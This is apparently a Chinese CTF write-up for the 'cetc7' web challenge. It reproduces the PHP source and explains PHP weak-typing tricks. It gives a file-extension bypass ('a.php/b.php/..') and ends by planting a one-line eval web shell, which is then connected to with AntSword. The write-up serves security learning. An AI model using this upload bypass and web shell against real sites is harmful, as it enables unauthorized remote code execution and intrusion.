1 源码审计
打开网站进行体验过后,发现在「项目管理」位置可以点击,进入后可以查看该网页的源码。使用F12后并无其他异常情况。使用 dirsearch进行扫目录
[10:11:59] 302 - 1KB - /index.php -> ?page=flag.php
[10:11:59] 200 - 74B - /flag.php
[10:11:59] 200 - 0B - /config.php
[10:11:59] 200 - 5KB - /index.html
对网站的源码进行大致的分析,并进行注释。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
// 设置未page参数
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
// 设置page参数,并且page不等于index.php
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
} else {
header('Location: ?page=flag.php');
}
?>
<!-- page和id的表单 -->
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/" . $file;
if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)) {
die("Bad file extension");
} else {
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
// 设置id参数、id不等于1、id的倒数第一个位置为9
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql = "select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if (!$result) die("<br >something wae wrong ! <br>");
if ($result) {
echo "id: " . $result->id . "</br>";
echo "name:" . $result->user . "</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
分析过后,能将这个源码分为3个部分:
- 包含flag文件。需要调整
page
参数 - 进行文件写入。需要调整
$_SESSION['admin']
、$_POST['con']
、$_POST['file']
三个参数。 - 将
$_SESSION['admin']
设置为true。调整id
参数
2 php弱类型
需要先使得$_SESSION['admin']=true
,故先针对第三部分进行处理。
- floatval函数:获取变量的浮点值。
当floatval函数遇到字符串时,会自动截断后面的内容。
- substr函数:返回字符串的一部分
substr为负数时,按数组从后到前输出。
故使得id=1 9
即可,1和9之间有一个空格。
3 php上传后缀绕过
尝试上传正常的文件。
然后进入/uploaded/backup
目录即可看见1.txt。
然后需要利用 Linux 的特性进行绕过后缀。将文件名命名为 a.php/b.php/..
会有意想不到的结果。
<?php
$filename = 'a.php/b.php/..';
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
这种文件名在php中会被解析为 a.php(可以先将a.php
和b.php
看见文件夹,使用..
会回到上一个文件夹),程序最后会创建一个a.php。
综合上面的结论,con
为php的内容,file
为php文件名。把文件名命名为 a.php/b.php/..
,如下配置:
最后访问 http://220.249.52.134:46528/uploaded/backup/a.php 即可。
最后写入一句话,使用蚁剑进行连接即可。
con=<?php @eval($_POST[pwd]);?>&&file=b.php/b.php/..
最后通过命令即可找到flag。